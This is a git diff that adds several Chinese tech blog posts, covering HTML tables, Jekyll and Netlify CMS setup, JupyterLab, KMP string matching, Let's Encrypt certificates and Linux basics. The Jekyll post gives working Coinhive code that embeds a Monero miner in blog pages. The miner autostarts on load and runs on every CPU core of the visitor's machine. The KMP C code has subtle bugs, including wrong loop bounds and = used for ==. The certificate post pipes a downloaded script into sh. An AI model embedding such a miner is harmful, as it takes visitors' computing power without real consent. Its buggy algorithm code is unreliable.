表格标题:<caption>标签<br/> 横跨两列的单元格: colspan属性`<th colspan="2">电话</th>`<br/> 横跨两行的单元格: rowspan属性`<th rowspan="2">电话</th>`<br/> [表格内标签](http://www.w3school.com.cn/tiy/t.asp?f=html_table_elements)<br/> 单元格边距:cellpadding属性:`<table border="1" cellpadding="10">`<br/> 单元格间距:cellspacing属性:`<table border="1" cellspacing="10">`<br/> 向表格添加背景颜色:`<table border="1" bgcolor="red">`<br/> 向表格添加背景图像:`<table border="1" background="/i/eg_bg_07.gif">`<br/> 向表格单元添加背景颜色:`<td bgcolor="red">First</td>`<br/> 向表格单元添加背景图像`<td background="/i/eg_bg_07.gif"> Second</td>`<br/> [表格align属性](http://www.w3school.com.cn/tiy/t.asp?f=html_table_align)<br/> [框架(fram)属性](http://www.w3school.com.cn/tiy/t.asp?f=html_table_frame):`<table frame="above">`
|
||||||
|
|
|
@ -0,0 +1,51 @@
|
||||||
|
# 原创
|
||||||
|
: Jekyll 博客 Netlify CMS 后台部署
|
||||||
|
|
||||||
|
# Jekyll 博客 Netlify CMS 后台部署
|
||||||
|
|
||||||
|
### 文章目录
|
||||||
|
|
||||||
|
## 获取`Client ID`和`Secret`
|
||||||
|
|
||||||
|
在 [Github OAuth](https://github.com/settings/developers) 页面新建一个 `app` 获取 `Client ID`和`Secret`
|
||||||
|
|
||||||
|
其中`Authorization callback URL`必须填这个:[https://api.netlify.com/auth/done](https://api.netlify.com/auth/done) ,其余随意。
|
||||||
|
|
||||||
|
## 去`netlify` 后台绑定 `GitHub` 的 `repositorie`
|
||||||
|
|
||||||
|
绑定成功是这个样子的:
|
||||||
|
|
||||||
|
这个时候出现的错误暂时不要管。
|
||||||
|
|
||||||
|
`setting->Domain management` ,添加`github`自带的二级域名,如果在`github`上面自定义了域名,也要加上,不要管 `DNS` 验证.
|
||||||
|
|
||||||
|
## 在GitHub新建netlify分支
|
||||||
|
|
||||||
|
内容可以参考我的 [netlify](https://github.com/ds19991999/ds19991999.github.io/tree/netlify) 分支,其中 `config.yml`文件里的域名改成你的`github` 二级域名,如果自定义了域名请填自定义的域名
|
||||||
|
|
||||||
|
## 在主分支`master`创建`admin`文件夹
|
||||||
|
|
||||||
|
```
|
||||||
|
admin
|
||||||
|
├ index.html
|
||||||
|
└ config.yml
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
我的就是:[admin](https://github.com/ds19991999/ds19991999.github.io/tree/master/admin)
|
||||||
|
|
||||||
|
## 配置`admin`里的`config`
|
||||||
|
|
||||||
|
我这个`jekyll`只用到发布文章的`post`,所以后台也只需要这个简单的功能,只需要加一点这个文章头部的选项,每个人不一样,需要自己写。官方文档可以参考:[netlifycms-docs](https://www.netlifycms.org/docs/intro/)<img alt="1552916047947"/>
|
||||||
|
|
||||||
|
到这里,`GitHub`仓库的修改基本上完成了。
|
||||||
|
|
||||||
|
## 去 netlify 后台配置编译
|
||||||
|
|
||||||
|
`setting->Buil & deploy->Deploy contexts`,将`Production branch`改成`netlify`分支,将`Branch deploys`改成`master`分支。
|
||||||
|
|
||||||
|
然后就可以编译了:
|
||||||
|
|
||||||
|
## 登录博客后台
|
||||||
|
|
||||||
|
进入 `https://网站域名/admin` 后台登陆,大概就是这样子。
|
|
@ -0,0 +1,136 @@
|
||||||
|
# 原创
|
||||||
|
: Jekyll博客Next主题超深度配置
|
||||||
|
|
||||||
|
# Jekyll博客Next主题超深度配置
|
||||||
|
|
||||||
|
>
|
||||||
|
文末附源码地址哦! <br/> 注意:本文不是教程!
|
||||||
|
|
||||||
|
|
||||||
|
## 起因
|
||||||
|
|
||||||
|
这两天不知道为什么突然沉迷Hexo博客的Next主题,Next主题确实太赞了,十分清爽简洁,自身集成了许多小插件,基本上满足了大部分博客的一般需求。所以我索性把之前那个也还不错的博客 `simple` 给抛弃了。
|
||||||
|
|
||||||
|
然后呢,我就用Hexo快速搭建了Next主题的博客,但是有一个问题,它写文章不方便,而且还需要先导出 `html` 格式才能 `push` 到 `GitHub` 上面,这就不能忍了。
|
||||||
|
|
||||||
|
于是,突发奇想,能不能把 `Next` 主题改成 `Jekyll` 呢,我抱着试一试的心态去 `Jwkyll` 官网查了一下,果然,已经有大神改好了,顿时开心,不用自己动手了…(好吧,我太懒了)
|
||||||
|
|
||||||
|
最终选择[Jekyll-Next-Theme](https://github.com/Simpleyyt/jekyll-theme-next),你可以去[这里](https://github.com/Simpleyyt/jekyll-theme-next)直接`clone` , 然后你就可以有一套和我一样的博客主题了。
|
||||||
|
|
||||||
|
## 基本功能展示
|
||||||
|
|
||||||
|
**整体面貌**: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180808212432.jpg" title=""/>
|
||||||
|
|
||||||
|
**数学公式支持**: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180808212436.jpg" title=""/>
|
||||||
|
|
||||||
|
**文末小功能**: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180808212442.jpg" title=""/>
|
||||||
|
|
||||||
|
**评论系统**: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180808212446.jpg" title=""/>
|
||||||
|
|
||||||
|
**文章加密设置**: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180808212454.jpg" title=""/>
|
||||||
|
|
||||||
|
小功能实在太多,不如直接访问:[https://www.ds-vip.top](https://www.ds-vip.top) 感受一下。
|
||||||
|
|
||||||
|
## 博客搭建
|
||||||
|
|
||||||
|
关于博客搭建这一块自行 `Google` ,网上教程多如牛毛,千篇一律,再写就没意思了。不过这里推荐两篇基于Hexo的Next主题配置教程,可以参考一下。
|
||||||
|
|
||||||
|
## 博客配置完成后的坑
|
||||||
|
|
||||||
|
搭建一个博客还是很简单的,配置虽然麻烦,但一步步的还是可以实现的。博客搭建完成后,就是域名绑定,ICP备案,以及网站推广。
|
||||||
|
|
||||||
|
虽然你的博客搭建完成了,但是,也只有你本人才会去访问它,其他人通过搜索引擎根本搜不到你的网站信息,因为你的网站还没有被各大搜索引擎收录,这一块就通过我的博客里[网站收录](https://www.ds-vip.top/seo/)去实现,每天提交过几次就差不多了。
|
||||||
|
|
||||||
|
另外一个坑就是绑定自定义域名之后,你的网站就不支持 `https` 加密协议了,所以你得去买个 `SSL` 证书,一般情况下,你的域名供应商会免费送你一年的 `SSL` 证书服务,按照官方给的操作步骤一步步来就 `OK` 了。所以啊,建博客是很简单的,维护博客就不那么容易了。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
**20180810更新**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
## 为博客嵌入挖矿代码
|
||||||
|
|
||||||
|
先看效果图: <br/> <img alt="这里写图片描述" src="https://img-blog.csdn.net/20180816203048860?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RzMTk5OTE5OTk=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" title=""/>
|
||||||
|
1. 安装并注册monero账号1. 注册Coinhive账号1. 在Coinhive中得到site key1. 安装代码到html中
|
||||||
|
### 样式
|
||||||
|
|
||||||
|
**官网样式:**
|
||||||
|
|
||||||
|
```
|
||||||
|
<div>
|
||||||
|
<script src="https://authedmine.com/lib/simple-ui.min.js" async></script>
|
||||||
|
<div class="coinhive-miner"
|
||||||
|
style="width: 100%; height: 100px"
|
||||||
|
data-key="YjyptNPkNzUZwQonjCLhkllZAW85Axyo"
|
||||||
|
data-autostart="true"
|
||||||
|
data-whitelabel="false"
|
||||||
|
data-background="#000000"
|
||||||
|
data-text="#eeeeee"
|
||||||
|
data-action="#00ff00"
|
||||||
|
data-graph="#555555"
|
||||||
|
data-threads="7"
|
||||||
|
data-throttle="0.1">
|
||||||
|
<em>Loading...</em>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
**我的样式:**
|
||||||
|
|
||||||
|
```
|
||||||
|
<div>
|
||||||
|
<h3 align="center">⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇</h3>
|
||||||
|
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
|
||||||
|
<center>
|
||||||
|
<table >
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<td align="center">启动线程数</td>
|
||||||
|
<td align="center">当前算力(Hashs/秒)</td>
|
||||||
|
<td align="center">您已贡献(Hash单位:个)</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td id="tcount" align="center">0</td>
|
||||||
|
<td id="hps" align="center">0</td>
|
||||||
|
<td id="ths" align="center">0</td></tr>
|
||||||
|
<tr><td colspan="3;" id="status" align="center">您正在打赏中,随时可以停止。</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</center>
|
||||||
|
|
||||||
|
<div><p id="minebutton" style="text-align:center;">
|
||||||
|
<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">停止挖矿打赏</button>
|
||||||
|
</p></div>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
var miner=new CoinHive.User
|
||||||
|
("YjyptNPkNzUZwQonjCLhkllZAW85Axyo",
|
||||||
|
"www.ds-vip.top",
|
||||||
|
{threads:navigator.hardwareConcurrency,autoThreads:!1,throttle:.9,forceASMJS:!1});
|
||||||
|
|
||||||
|
miner.start(CoinHive.FORCE_EXCLUSIVE_TAB),
|
||||||
|
setInterval(function(){var e=miner.getNumThreads(),
|
||||||
|
n=Math.round(100*miner.getHashesPerSecond())/100,
|
||||||
|
t=miner.getTotalHashes();miner.getAcceptedHashes()/256;
|
||||||
|
|
||||||
|
miner.isRunning()?(document.getElementById("tcount").innerHTML=e,document.getElementById("hps").innerHTML=n,
|
||||||
|
document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您正在打赏中,随时可以停止。",
|
||||||
|
document.getElementById("minebutton").innerHTML='<button onclick="miner.stop()">停止挖矿打赏</button>'):(document.getElementById("tcount").innerHTML="0",document.getElementById("hps").innerHTML="0",document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您已经停止打赏,随时可以开始。",document.getElementById("minebutton").innerHTML='<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">开始挖矿打赏</button>')},1e3)
|
||||||
|
</script>
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
详见:[https://www.ds-vip.top/test/2018/08/11/test/](https://www.ds-vip.top/test/2018/08/11/test/)
|
||||||
|
|
||||||
|
## 附上源码和个人博客
|
||||||
|
|
||||||
|
>
|
||||||
|
配置文件 [_config.yml](https://github.com/ds19991999/ds19991999.github.io/blob/master/_config.yml) 可以慢慢看,毕竟太多了,这也是我为什么不做笔记,不写教程的原因。
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
有什么问题可以直接在我的[个人博客主页](https://www.ds-vip.top)上联系我哦,另外大家优势没事可以来:[https://www.ds-vip.top/essay/](https://www.ds-vip.top/essay/) 留言。
|
||||||
|
|
|
@ -0,0 +1,115 @@
|
||||||
|
# 原创
|
||||||
|
: Jupyterlab安装
|
||||||
|
|
||||||
|
# Jupyterlab安装
|
||||||
|
|
||||||
|
# Jupyter小结
|
||||||
|
|
||||||
|
### 安装JupyterLab
|
||||||
|
|
||||||
|
使用`pip`安装:
|
||||||
|
|
||||||
|
```
|
||||||
|
pip install jupyterlab
|
||||||
|
# 必须将用户级目录添加 到环境变量才能启动
|
||||||
|
pip install --userbinPATHjupyter lab
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
使用以前版本的`Notebook`安装:
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter serverextension enable --py jupyterlab --sys-prefix
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
启动`JupyterLab`
|
||||||
|
|
||||||
|
```
|
||||||
|
jupyter lab
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
由于`JupyterLab`是经典`Jupyter Notebook`服务器的服务器扩展,因此您可以通过调用 和访问URL 来启动JupyterLab 。`jupyter notebook /lab`
|
||||||
|
|
||||||
|
修改`config`:`jupyter notebook --generate-config` ,找到配置文件目录修改
|
||||||
|
|
||||||
|
```
|
||||||
|
# The directory to use for notebooks and kernels.
|
||||||
|
c.NotebookApp.notebook_dir = u'D:\Jupyter'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
安装常用插件:
|
||||||
|
|
||||||
|
```
|
||||||
|
# 目录功能
|
||||||
|
$ pip2 install jupyter_nbextensions_configurator
|
||||||
|
$ pip2 install jupyter_contrib_nbextensions
|
||||||
|
# 支持md文件
|
||||||
|
pip install notedown
|
||||||
|
配置c.NotebookApp.contents_manager_class = ‘notedown.NotedownContentsManager’
|
||||||
|
# 主题
|
||||||
|
pip install --upgrade jupyterthemes0
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 常用命令
|
||||||
|
|
||||||
|
```
|
||||||
|
######################## magic命令 ##########################
|
||||||
|
# 找回误删的代码,使用locals()函数
|
||||||
|
for line in locals()["In"]:
|
||||||
|
print line
|
||||||
|
# 或者
|
||||||
|
%hist/hist/%history/history
|
||||||
|
|
||||||
|
%pwd # 显示当前目录,目录'/'由'\\'代替
|
||||||
|
|
||||||
|
%matplotlib #在笔记本内部加这行就不需要plt.show()函数
|
||||||
|
# 脚本里去掉这行加上 plt.show()显示图片
|
||||||
|
|
||||||
|
# 重写test.py文件
|
||||||
|
%%writefile test.py 或者 %%file test.py
|
||||||
|
|
||||||
|
# 加载文件
|
||||||
|
%load test.py
|
||||||
|
|
||||||
|
%run name.py # 运行脚本
|
||||||
|
|
||||||
|
# Debug模式
|
||||||
|
%debug 输入exit退出
|
||||||
|
|
||||||
|
# 设置当前文件每三秒保存一次
|
||||||
|
%autosave 3
|
||||||
|
|
||||||
|
# 查看当前变量空间
|
||||||
|
%whos
|
||||||
|
|
||||||
|
# 重置当前变量空间
|
||||||
|
%reset -f
|
||||||
|
|
||||||
|
# mkdir产生新文件夹
|
||||||
|
%mkdir test
|
||||||
|
|
||||||
|
# rmdir删除文件夹
|
||||||
|
%rmdir test
|
||||||
|
|
||||||
|
# `_`使用上个cell的输出结果
|
||||||
|
|
||||||
|
######################作为unix command使用###################
|
||||||
|
# 查看python版本
|
||||||
|
!python --version
|
||||||
|
|
||||||
|
# 运行Python文件
|
||||||
|
!python test.py
|
||||||
|
|
||||||
|
!ping baidu.com
|
||||||
|
|
||||||
|
!python -m pip install update pip
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### Jupyter的各种快捷键
|
||||||
|
|
||||||
|
一下都是退出编辑模式的命令:
|
|
@ -0,0 +1,190 @@
|
||||||
|
# 原创
|
||||||
|
: KMP算法详解
|
||||||
|
|
||||||
|
# KMP算法详解
|
||||||
|
|
||||||
|
>
|
||||||
|
要求:对一个串中某个子串进行定位操作,返回匹配到的串的起始位置 <br/> 假设所有串的起始字符索引为1
|
||||||
|
|
||||||
|
|
||||||
|
数据结构定义
|
||||||
|
|
||||||
|
```
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
char *ch;
|
||||||
|
int length;
|
||||||
|
}Str;
|
||||||
|
```
|
||||||
|
|
||||||
|
# 一、简单模式匹配
|
||||||
|
|
||||||
|
```
|
||||||
|
//指向原串的索引i需要回溯,从原串中的每一个字符重新进行匹配,直到匹配成功
|
||||||
|
int index(Str str,Str substr)
|
||||||
|
{
|
||||||
|
//i,j分别为原串和模式串的索引
|
||||||
|
//k记录匹配时上一次的起始位置
|
||||||
|
int i=1,j=1,k=i;
|
||||||
|
while(i<=str.length&&j<=str.length)
|
||||||
|
{
|
||||||
|
if(str.ch[i]==substr.ch[j])++i,++j;
|
||||||
|
//匹配失败则回溯到上一次开始匹配的位置加1
|
||||||
|
else j=1,i=++k; //i的回溯
|
||||||
|
}
|
||||||
|
if(j>substr.length) return k;//返回匹配成功索引
|
||||||
|
else return 0;//没有匹配到
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 二、KMP算法
|
||||||
|
|
||||||
|
## 1.思路
|
||||||
|
|
||||||
|
>
|
||||||
|
- 主体思路: <br/> 1)i 不用进行回溯,当原串和模式串不发生匹配时,先找出模式串中的不匹配字符pj,取其模式串的子串F=p1p2p3…pj-1,找出F的前部分FL和后部分FR最先发生相重合的位置,将模式串后移到该位置,即j重新指向的位置是F串中前后重合的子串长度加1; <br/> 2) 我们可以定义一个next[j]数组表示模式串中第j个字符不发生匹配时,应该从next[j]处的字符重新与原串比较。- 特殊情况: <br/> 1)模式串的第一个字符与原串就不匹配,则从原串的下一个位置同模式串进行匹配; <br/> 2)当串F中不存在前后重合的部分,则从原串中不发生匹配的字符同模式串的第一个字符开始比较;- 求next[j]数组例子
|
||||||
|
<table><thead><th align="center">模式串</th><th align="center">A</th><th align="center">B</th><th align="center">A</th><th align="center">B</th><th align="center">A</th><th align="center">B</th><th align="center">B</th>
|
||||||
|
</thead><tbody><td align="center">j</td><td align="center">1</td><td align="center">2</td><td align="center">3</td><td align="center">4</td><td align="center">5</td><td align="center">6</td><td align="center">7</td>
|
||||||
|
<td align="center">next[j]</td><td align="center">0</td><td align="center">1</td><td align="center">1</td><td align="center">2</td><td align="center">3</td><td align="center">4</td><td align="center">5</td>
|
||||||
|
</tbody></table>
|
||||||
|
|
||||||
|
|
||||||
|
将上述描述转换成简洁的代码描述:
|
||||||
|
|
||||||
|
```
|
||||||
|
//t=next[j]
|
||||||
|
//这一点是KMP的核心,仔细琢磨
|
||||||
|
if(pj=pt)next[j+1]=t+1;
|
||||||
|
else t=next[t];
|
||||||
|
```
|
||||||
|
|
||||||
|
# 2.next[ j ]数组代码实现
|
||||||
|
|
||||||
|
```
|
||||||
|
void getnext(Str substr, int next[])
|
||||||
|
{
|
||||||
|
int i=1,j=0;
|
||||||
|
//对next[1]进行初始化,即next[i]=j,这一点也很重要
|
||||||
|
next[1]=0;
|
||||||
|
while(i<substr.length)
|
||||||
|
{
|
||||||
|
//模式串匹配
|
||||||
|
//如果pi=pj,则,next[i+1]=j+1
|
||||||
|
//如果不匹配,则j=next[j];
|
||||||
|
if(j==0||substr.ch[i]==substr[j])next[++i]=++j;
|
||||||
|
else j=next[j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 3.著名的KMP算法
|
||||||
|
|
||||||
|
```
|
||||||
|
int KMP(Str str, Str substr, int next[])
|
||||||
|
{
|
||||||
|
int i=1,j=1;
|
||||||
|
while(i<=str.length&&j<=str.length)
|
||||||
|
{
|
||||||
|
if(j==0||str.ch[i]==substr.ch[j])++i,++j;
|
||||||
|
else j=next[j];
|
||||||
|
//没有了i的回溯,这是KMP算法的精髓
|
||||||
|
//充分利用了模式串的重复性
|
||||||
|
//即使不存在重复字段,在比较时,实现最大的移动量
|
||||||
|
}
|
||||||
|
if(j>substr.length)return i-substr.length;//返回匹配成功索引
|
||||||
|
else return 0;//没有匹配到
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 三、上述KMP算法的改进
|
||||||
|
|
||||||
|
>
|
||||||
|
上述KMP算法在一种特殊情况下有些匹配显得有些多余 <br/> 例如下面这个next数组:
|
||||||
|
<table><thead><th align="center">模式串</th><th align="center">A</th><th align="center">A</th><th align="center">A</th><th align="center">A</th><th align="center">A</th><th align="center">B</th>
|
||||||
|
</thead><tbody><td align="center">j</td><td align="center">1</td><td align="center">2</td><td align="center">3</td><td align="center">4</td><td align="center">5</td><td align="center">6</td>
|
||||||
|
<td align="center">next[j]</td><td align="center">0</td><td align="center">1</td><td align="center">2</td><td align="center">3</td><td align="center">4</td><td align="center">5</td>
|
||||||
|
</tbody></table>
|
||||||
|
当j = 5时,发生不匹配时,因next[5] = 4,则需将j回溯4进行比较,而next[4]=3,则需将j回溯到3进行比较。。。j需要一次回溯到5、4、3、2、1的位置上,我们可以改进一下next数组,直接跳过位置1~4的回溯,定义改进后的数组为nextval[ j ]。
|
||||||
|
|
||||||
|
|
||||||
|
代码实现步骤:
|
||||||
|
|
||||||
|
```
|
||||||
|
//k=next[j]
|
||||||
|
//1.当j=1时,和next数组一样,将nextval[1]=0;
|
||||||
|
//2.当pj=pk时,nextval[j]=nextval[k];
|
||||||
|
//3.pj!=pk时,nextval[j]=k;
|
||||||
|
//第二步是算法改进的关键
|
||||||
|
|
||||||
|
//这是next数组,放在一起比较
|
||||||
|
//t=next[j]
|
||||||
|
//这一点是KMP的核心,仔细琢磨
|
||||||
|
if(pj=pt)next[j+1]=t+1;
|
||||||
|
else t=next[t];
|
||||||
|
|
||||||
|
//于是可以改进为
|
||||||
|
//匹配成功
|
||||||
|
++i;++j;
|
||||||
|
if(substr.ch[i]!=substr.ch[j])nextval[i]=j;
|
||||||
|
else nextval[i]=nextval[j];
|
||||||
|
//匹配失败,直接跳转到nextval[j]
|
||||||
|
j=nextval[j];
|
||||||
|
```
|
||||||
|
|
||||||
|
nextval数组函数:
|
||||||
|
|
||||||
|
```
|
||||||
|
void getenextval(Str substr, int nextval[])
|
||||||
|
{
|
||||||
|
int i=1,j=0;
|
||||||
|
nextval[1]=0;
|
||||||
|
while(i<substr.length)
|
||||||
|
{
|
||||||
|
if(j==0||substr.ch[i]=substr.ch[j])
|
||||||
|
{
|
||||||
|
++i;++j;
|
||||||
|
if(substr.ch[i]!=substr.ch[j]) nextval[i]=j;
|
||||||
|
else nextval[i]=nextval[j];
|
||||||
|
}
|
||||||
|
else j=nextval[j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 四、最完整的KMP算法实现
|
||||||
|
|
||||||
|
```
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
char *ch;
|
||||||
|
int length;
|
||||||
|
}Str;
|
||||||
|
|
||||||
|
void getenextval(Str substr, int nextval[])
|
||||||
|
{
|
||||||
|
int i=1,j=0;
|
||||||
|
nextval[1]=0;
|
||||||
|
while(i<substr.length)
|
||||||
|
{
|
||||||
|
if(j==0||substr.ch[i]=substr.ch[j])
|
||||||
|
{
|
||||||
|
++i;++j;
|
||||||
|
if(substr.ch[i]!=substr.ch[j]) nextval[i]=j;
|
||||||
|
else nextval[i]=nextval[j];
|
||||||
|
}
|
||||||
|
else j=nextval[j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int KMP(Str str, Str substr, int nextval[])
|
||||||
|
{
|
||||||
|
int i=1,j=1;
|
||||||
|
while(i<=str.length&&j<=str.length)
|
||||||
|
{
|
||||||
|
if(j==0||str.ch[i]==substr.ch[j])++i,++j;
|
||||||
|
else j=nextval[j];
|
||||||
|
}
|
||||||
|
if(j>substr.length)return i-substr.length;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
```
|
|
@ -0,0 +1,69 @@
|
||||||
|
# 原创
|
||||||
|
: Let's Encrypt 泛域名证书申请
|
||||||
|
|
||||||
|
# Let's Encrypt 泛域名证书申请
|
||||||
|
|
||||||
|
>
|
||||||
|
github: [https://github.com/Neilpang/acme.sh](https://github.com/Neilpang/acme.sh)
|
||||||
|
|
||||||
|
|
||||||
|
通过acme申请Let’s Encrypt证书支持的域名DNS服务商有以下这些(国内用户较多的):`cloudxns、dnspod、aliyun(阿里云)、cloudflare、linode、he、digitalocean、namesilo、aws、namecom、freedns、godaddy、yandex` 等等。
|
||||||
|
|
||||||
|
### 目录
|
||||||
|
|
||||||
|
## [安装acm.sh](http://xn--acm-pd0fq01r.sh)
|
||||||
|
|
||||||
|
```
|
||||||
|
curl https://get.acme.sh | sh
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`acme.sh`被安装在了`~./.acme.sh`,创建 一个 `bash` 的 `alias`, 方便你的使用: `alias acme.sh=~/.acme.sh/acme.sh`
|
||||||
|
|
||||||
|
通过`acme.sh`安装的证书会自动为你创建 `cronjob`, 每天 0:00 点自动检测所有的证书, 如果快过期了, 需要更新, 则会自动更新证书.
|
||||||
|
|
||||||
|
## DNS方式验证域名所有权
|
||||||
|
|
||||||
|
```
|
||||||
|
acme.sh --issue --dns -d mydomain.com
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`acme.sh` 会生成相应的解析记录显示出来, 你只需要在你的域名管理面板中添加这条 `txt` 记录即可.
|
||||||
|
|
||||||
|
## 获取`DNS API`
|
||||||
|
|
||||||
|
获取`DNS`域名商的`DNS API` ,`api` 也会将 上面的`txt` 记录自动添加到域名解析商。比喻阿里的`api`:[https://ak-console.aliyun.com/#/accesskey](https://ak-console.aliyun.com/#/accesskey) ,然后看说明进行配置 [https://github.com/Neilpang/acme.sh/tree/master/dnsapi](https://github.com/Neilpang/acme.sh/tree/master/dnsapi) 阿里的就是:
|
||||||
|
|
||||||
|
```
|
||||||
|
export Ali_Key="sdfsdfsdfljlbjkljlkjsdfoiwje"
|
||||||
|
export Ali_Secret="jlsdflanljkljlfdsaklkjflsa"
|
||||||
|
acme.sh --issue --dns dns_ali -d example.com -d *.example.com
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这个`*`值的就是泛域名。运行一次之后Ali_Key和Ali_Secret将被保存`~/.acme.sh/account.conf`,生成的SSL证书目录在`~/.acme.sh/example.com`
|
||||||
|
|
||||||
|
## 安装证书
|
||||||
|
|
||||||
|
>
|
||||||
|
详见:[copy/安装 证书](https://github.com/Neilpang/acme.sh/wiki/%E8%AF%B4%E6%98%8E#3-copy%E5%AE%89%E8%A3%85-%E8%AF%81%E4%B9%A6)
|
||||||
|
|
||||||
|
|
||||||
|
使用 `--installcert` 命令,并指定目标位置, 然后证书文件会被copy到相应的位置, 例如:
|
||||||
|
|
||||||
|
```
|
||||||
|
acme.sh --installcert -d <domain>.com \
|
||||||
|
--key-file /etc/nginx/ssl/<domain>.key \
|
||||||
|
--fullchain-file /etc/nginx/ssl/fullchain.cer \
|
||||||
|
--reloadcmd "service nginx force-reload"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
宝塔用户在SSL选项选择其他证书,把SSL证书内容粘贴上面去就行了<br/> <img alt="" src="http://image.creat.kim/picgo/20190314132922.png"/><br/> 这里改一下证书路径<br/> <img alt="" src="http://image.creat.kim/picgo/20190314132617.png"/><br/> 目前证书在 60 天以后会自动更新, 你无需任何操作. 今后有可能会缩短这个时间, 不过都是自动的, 你不用关心.
|
||||||
|
|
||||||
|
## 更新 `acme.sh`
|
||||||
|
|
||||||
|
自动更新:`acme.sh --upgrade --auto-upgrade`<br/> 关闭更新:`acme.sh --upgrade --auto-upgrade 0`
|
||||||
|
|
||||||
|
有问题看 [wiki](https://github.com/Neilpang/acme.sh/wiki) 和 [dubug](https://github.com/Neilpang/acme.sh/wiki/How-to-debug-acme.sh)
|
|
@ -0,0 +1,32 @@
|
||||||
|
# 原创
|
||||||
|
: Linux编译程序
|
||||||
|
|
||||||
|
# Linux编译程序
|
||||||
|
|
||||||
|
详见:[https://gitbook.creat.com/Linux](https://gitbook.creat.com/Linux)
|
||||||
|
|
||||||
|
## 编译程序
|
||||||
|
|
||||||
|
```
|
||||||
|
make - 维护程序的工具
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 构建程序
|
||||||
|
|
||||||
|
大多数程序通过一个简单的,两个命令的序列构建:
|
||||||
|
|
||||||
|
```
|
||||||
|
./configure
|
||||||
|
make
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这个 configure 程序是一个 shell 脚本,由源码树提供.它的工作是分析程序构建环境。大多数源码会设计为可移植的。configure 命令会创建了几个新文件。最重要一个是 Makefile。Makefile 是一个配置文件, 指示 make 程序究竟如何构建程序。make 程序把一个 makefile 文件作为输入(通常命名为 Makefile),makefile 文件 描述了包括最终完成的程序的各组件之间的关系和依赖性。
|
||||||
|
|
||||||
|
### 安装程序
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo make install
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,17 @@
|
||||||
|
# 原创
|
||||||
|
: Linux面试题
|
||||||
|
|
||||||
|
# Linux面试题
|
||||||
|
|
||||||
|
## 第一部分
|
||||||
|
|
||||||
|
## 第二部分
|
||||||
|
|
||||||
|
## 第三部分
|
||||||
|
|
||||||
|
```
|
||||||
|
# 开机自动挂载
|
||||||
|
vi /etc/fstab
|
||||||
|
/dev/sdb7 /data/mnt/windows ntfs-3g defaults 0 0
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,556 @@
|
||||||
|
# 原创
|
||||||
|
: Liunx常见任务和基本工具(上篇)
|
||||||
|
|
||||||
|
# Liunx常见任务和基本工具(上篇)
|
||||||
|
|
||||||
|
### 文章目录
|
||||||
|
|
||||||
|
## 一、软件包管理
|
||||||
|
|
||||||
|
**主要的包管理系统家族:**
|
||||||
|
|
||||||
|
|包管理系统|发行版 (部分列表)
|
||||||
|
|------
|
||||||
|
|Debian Style (.deb)|Debian, Ubuntu, Xandros, Linspire
|
||||||
|
|Red Hat Style (.rpm)|Fedora, CentOS, Red Hat Enterprise Linux, OpenSUSE, Mandriva, PCLinuxOS
|
||||||
|
|
||||||
|
如果一个软件包需要一些共享的资源,如一个动态链接库,它就被称作有一个**依赖**。软件包管理系统通常由两种工具类型组成:**底层工具**用来处理这些任务,比方说安装和删除软件包文件;**上层工具**,完成元数据搜索和依赖解析。
|
||||||
|
|
||||||
|
**包管理工具:**
|
||||||
|
|
||||||
|
|发行版|底层工具|上层工具
|
||||||
|
|------
|
||||||
|
|Debian-Style|dpkg|apt-get, aptitude
|
||||||
|
